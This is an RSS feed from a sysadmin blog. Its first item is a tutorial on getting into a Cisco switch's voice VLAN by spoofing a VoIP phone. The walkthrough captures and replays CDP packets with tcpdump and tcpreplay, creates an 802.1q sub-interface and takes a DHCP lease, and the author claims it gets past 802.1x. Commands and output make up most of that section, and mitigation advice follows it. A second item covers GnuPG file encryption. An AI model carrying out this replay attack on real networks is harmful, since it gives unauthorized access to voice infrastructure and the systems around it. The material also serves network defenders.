<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SavvyAdmin.com &#187; Security</title>
	<atom:link href="http://savvyadmin.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://savvyadmin.com</link>
	<description>For savvy admins everywhere...</description>
	<lastBuildDate>Thu, 05 Aug 2010 03:30:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>VLAN Hopping on Cisco Voice-enabled Switch Ports</title>
		<link>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/</link>
		<comments>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 03:33:31 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[802.1q]]></category>
		<category><![CDATA[802.1x]]></category>
		<category><![CDATA[CDP]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Packet Injection]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tcpreplay]]></category>
		<category><![CDATA[VLAN]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=654</guid>
		<description><![CDATA[There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access [...]


Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good.  By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN.  <em><strong>Yes&#8230; even those protected by 802.1x authentication.</strong></em>  In the following how-to, we&#8217;ll demonstrate how exploit this behavior using Linux and freely available open source software.</p>
<p><strong>Prerequisites</strong><br />
First, install two packages from your repositories.  The <code>vlan</code> package adds a kernel module required for 802.1q VLAN tagging and the <code>vconfig</code> tool used to configure VLAN sub-interfaces.   <code>tcpreplay</code> is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.</p>
<blockquote><p><code><strong>sudo apt-get install vlan tcpreplay<br />
sudo modprobe 8021q</strong></code></p></blockquote>
<p>The second command loads the 8021q kernel module.  If you want the module loaded at boot-up, remember to add it to <code>/etc/modules</code> or the appropriate file for your GNU/Linux distribution.</p>
<p><strong>Discover Voice-enabled Switch Port Information</strong></p>
<p>Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements.  If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised.  From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404<br />
	Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'<br />
	Version String (0x05), length: 186 bytes:<br />
	  Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)<br />
	  Copyright (c) 1986-2009 by Cisco Systems, Inc.<br />
	  Compiled Mon 06-Apr-09 08:36 by amvarma<br />
	Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	<strong><em>Port-ID</em></strong> (0x03), length: 16 bytes: '<strong><em>FastEthernet0/24</em></strong>'<br />
	Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping<br />
	Protocol-Hello option (0x08), length: 32 bytes:<br />
	VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong><em>VoIP VLAN request</em></strong> (0x0e), length: 3 bytes: app 1, <strong><em>vlan 64</em></strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
	Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	unknown field type (0x1a), length: 12 bytes:<br />
	  0x0000:  0000 0001 0000 0000 ffff ffff</code></p></blockquote>
<p><strong>Capture a Sample VoIP phone CDP Packet</strong></p>
<p>Plug the Cisco VoIP phone back into the switch port and wait for it to come back online.  Plug your laptop back into the data port of the phone in your typical daisy-chain topology.  Use <code>tcpdump</code> again to capture a single CDP packet, saving it to a capture file.  If you&#8217;re plugged into the phone, the only CDP packets you should see are those sent by the phone.  These CDP packets should be neatly constructed with all of the appropriate voice VLAN values.  From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number.  ;-)</p>
<p>The following <code>tcpdump</code> filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called <code>cdp-packet.cap</code>.  You will use this CDP packet capture file in your replay attack.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes<br />
1 packets captured<br />
1 packets received by filter<br />
0 packets dropped by kernel</code></p></blockquote>
<p>Verify the CDP packet details by reading the capture file with <code>tcpdump</code>.  The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.</p>
<blockquote><p><code><strong>sudo tcpdump -vr cdp-packet.cap</strong><br />
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)<br />
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125<br />
	<strong><em>Device-ID</em></strong> (0x01), length: 15 bytes: '<strong><em>SEP0015626A51E9</em></strong>'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10<br />
	Port-ID (0x03), length: 6 bytes: 'Port 2'<br />
	Capability (0x04), length: 4 bytes: (0x00000490): L3 capable<br />
	Version String (0x05), length: 12 bytes:<br />
	  P00308010100<br />
	Platform (0x06), length: 19 bytes: '<strong><em>Cisco IP Phone 7940</em></strong>'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong>VoIP VLAN request</strong> (0x0e), length: 3 bytes: app 1, <strong>vlan 64</strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
</code></p></blockquote>
<p><strong>Replay CDP Packets to Spoof a Cisco VoIP Phone</strong></p>
<p>You&#8217;ll want to unplug the phone from the switch and plug your computer into the switch port directly.  Using the <code>tcpreplay</code> command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone.  When the switch receives this packet, the voice VLAN will be available to use.</p>
<blockquote><p><code><strong>sudo tcpreplay -i eth0 cdp-packet.cap</strong><br />
Actual: 1 packets (147 bytes) sent in 0.06 seconds<br />
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps<br />
Statistics for network device: eth0<br />
	Attempted packets:         1<br />
	Successful packets:        1<br />
	Failed packets:            0<br />
	Retried packets (ENOBUFS): 0<br />
	Retried packets (EAGAIN):  0</code></p></blockquote>
<p>Once the Voice VLAN is enabled, you will only have a limited amount of time to use it.  A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop.  I prefer to use the <code>watch</code> command, and leave it running in a terminal until it&#8217;s no longer needed.  Using the command below, the CDP packet will be replayed every 60 seconds.</p>
<blockquote><p><code><strong>sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"</strong></code></p></blockquote>
<p><strong>Access Voice VLAN with 802.1q Sub-interface</strong></p>
<p>In order for you to access the voice VLAN, you must add a sub-interface for <code>eth0</code> using the <code>vconfig</code> command.  The following example uses <code>vconfig</code> to add a sub-interface that tags packets to access VLAN 64.  The sub-interface will be named <code>eth0.64</code> as shown below.</p>
<blockquote><p><code><strong>sudo vconfig add eth0 64</strong><br />
Added VLAN with VID == 64 to IF -:eth0:-</code></p>
<p><code><strong>ifconfig eth0.64</strong><br />
eth0.64   Link encap:Ethernet  HWaddr 00:26:b9:bc:5b:68<br />
          BROADCAST MULTICAST  MTU:1500  Metric:1<br />
          RX packets:95 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:0<br />
          RX bytes:4370 (4.3 KB)  TX bytes:0 (0.0 B)</code></p></blockquote>
<p>At this point you can access the VLAN in any fashion you see fit.  For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.</p>
<blockquote><p><code><strong>sudo dhclient3 eth0.64</strong><br />
Listening on LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   Socket/fallback<br />
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3<br />
DHCPOFFER of 10.1.64.11 from 10.1.64.5<br />
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67<br />
DHCPACK of 10.1.64.11 from 10.1.64.5<br />
bound to 10.1.64.11 -- renewal in 35707 seconds.</code></p>
<p><code><strong>ping -c 4 10.1.64.1</strong><br />
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.<br />
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms<br />
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms<br />
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms<br />
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms</code></p>
<p><code>--- 10.1.64.1 ping statistics ---<br />
4 packets transmitted, 4 received, 0% packet loss, time 3005ms<br />
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms</code></p></blockquote>
<p><strong>Mitigation&#8230; Aww, Bummer&#8230;</strong></p>
<p>Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access.  Remember, this &#8220;vulnerability&#8221; is really just a limitation of the voice VLAN negotiation process.  It&#8217;s not new (see the following <a href="http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_security_notice09186a008048e0d6.html" target="_blank">Cisco security bulletin<a/> from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.</p>
<p>However, for network administrators that wish to <em>limit</em> the threat associated to unauthorized voice VLAN access, consider the following recommendations.</p>
<p>1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks.  DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.</p>
<p>2. Add VLAN access lists and Layer-3 boundary ACL&#8217;s limiting clients on the Voice VLAN to access only resources required for VoIP functionality.  By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.</p>
<p>3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure.  Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.</p>
<p>4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.</p>
<p>There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers.  One such tool called <a href="http://voiphopper.sourceforge.net" target="_blank">VoIP Hopper</a> completely automates the above process.  It even comes with it&#8217;s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.  </p>
<p>I hope you have found this tutorial useful.  Feel free to add comments, suggestions, or drop me an email for confidential questions!</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;t=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports%20-%20http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;notes=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;bodytext=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports&amp;annotation=There%27s%20a%20number%20of%20reasons%20why%20someone%20would%20want%20to%20gain%20unauthorized%20access%20to%20your%20network%27s%20voice%20VLAN%2C%20and%20as%20you%20can%20guess%2C%20none%20of%20them%20are%20any%20good.%20%20By%20strategically%20replaying%20CDP%20packets%20used%20by%20Cisco%20VoIP%20phones%2C%20and%20configuring%20your%20comp" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fvlan-hopping-on-cisco-voice-enabled-switch-ports%2F&amp;title=VLAN%20Hopping%20on%20Cisco%20Voice-enabled%20Switch%20Ports" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Symmetric Key Encryption with GnuPG</title>
		<link>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/</link>
		<comments>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 03:59:06 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tar]]></category>
		<category><![CDATA[Zip]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=438</guid>
		<description><![CDATA[If you ever want to quickly protect a file by encrypting it with a simple password, you can use GnuPG and symmetric key encryption for the job. Using this method, you can use industry strength encryption like AES256 and not have to worry about public and private keys. Just remember your password and use PGP [...]


Related posts:<ol><li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='Permanent Link: GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='Permanent Link: RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you ever want to quickly protect a file by encrypting it with a simple password, you can use GnuPG and symmetric key encryption for the job.  Using this method, you can use industry strength encryption like AES256 and not have to worry about public and private keys.  Just remember your password and use PGP compatible software to decrypt the files when needed.</p>
<p>For example, this is how you can encrypt a zip file called <code>backup.zip</code> and output the result to a new file called <code>backup.zip.gpg</code>.</p>
<blockquote><p><code><strong>gpg --symmetric --cipher-algo aes256 -o backup.zip.gpg backup.zip</strong><br />
Enter passphrase: <strong>*******</strong><br />
Repeat passphrase: <strong>*******</strong></code></p></blockquote>
<p>To decrypt the file, the following will work.</p>
<blockquote><p><code><strong>gpg -d -o backup.zip backup.zip.gpg</strong><br />
gpg: AES256 encrypted data<br />
Enter passphrase: <strong>*******</strong><br />
gpg: encrypted with 1 passphrase</code></p></blockquote>
<p>For fun, here&#8217;s how to create a Gzip Tar archive (tar.gz) and encrypt it on the fly.</p>
<blockquote><p><code><strong>tar czvpf - SomeFiles/ | gpg --symmetric --cipher-algo aes256 -o backup.tar.gz.gpg</strong><br />
Enter passphrase: <strong>*******</strong><br />
Repeat passphrase: <strong>*******</strong></code></p></blockquote>
<p>To decrypt and extract in a single command, the following also works.</p>
<blockquote><p><code><strong>gpg -d backup.tar.gz.gpg | tar xzvf -</strong><br />
gpg: AES256 encrypted data<br />
Enter passphrase: <strong>*******</strong><br />
gpg: encrypted with 1 passphrase</code></p></blockquote>
<p>If you&#8217;re curious to know what other ciphers are available to you, simple use the <code>gpg --version</code> command.</p>
<blockquote><p><code><strong>gpg --version | grep Cipher</strong><br />
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH</code></p></blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;t=Symmetric%20Key%20Encryption%20with%20GnuPG" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Symmetric%20Key%20Encryption%20with%20GnuPG%20-%20http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;title=Symmetric%20Key%20Encryption%20with%20GnuPG&amp;notes=If%20you%20ever%20want%20to%20quickly%20protect%20a%20file%20by%20encrypting%20it%20with%20a%20simple%20password%2C%20you%20can%20use%20GnuPG%20and%20symmetric%20key%20encryption%20for%20the%20job.%20%20Using%20this%20method%2C%20you%20can%20use%20industry%20strength%20encryption%20like%20AES256%20and%20not%20have%20to%20worry%20about%20publi" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;title=Symmetric%20Key%20Encryption%20with%20GnuPG&amp;bodytext=If%20you%20ever%20want%20to%20quickly%20protect%20a%20file%20by%20encrypting%20it%20with%20a%20simple%20password%2C%20you%20can%20use%20GnuPG%20and%20symmetric%20key%20encryption%20for%20the%20job.%20%20Using%20this%20method%2C%20you%20can%20use%20industry%20strength%20encryption%20like%20AES256%20and%20not%20have%20to%20worry%20about%20publi" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Symmetric%20Key%20Encryption%20with%20GnuPG&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;title=Symmetric%20Key%20Encryption%20with%20GnuPG&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%20ever%20want%20to%20quickly%20protect%20a%20file%20by%20encrypting%20it%20with%20a%20simple%20password%2C%20you%20can%20use%20GnuPG%20and%20symmetric%20key%20encryption%20for%20the%20job.%20%20Using%20this%20method%2C%20you%20can%20use%20industry%20strength%20encryption%20like%20AES256%20and%20not%20have%20to%20worry%20about%20publi" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;title=Symmetric%20Key%20Encryption%20with%20GnuPG&amp;annotation=If%20you%20ever%20want%20to%20quickly%20protect%20a%20file%20by%20encrypting%20it%20with%20a%20simple%20password%2C%20you%20can%20use%20GnuPG%20and%20symmetric%20key%20encryption%20for%20the%20job.%20%20Using%20this%20method%2C%20you%20can%20use%20industry%20strength%20encryption%20like%20AES256%20and%20not%20have%20to%20worry%20about%20publi" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fsymmetric-key-encryption-with-gnupg%2F&amp;title=Symmetric%20Key%20Encryption%20with%20GnuPG" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='Permanent Link: GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='Permanent Link: RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</title>
		<link>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/</link>
		<comments>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 01:17:42 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[Linux]]></category>
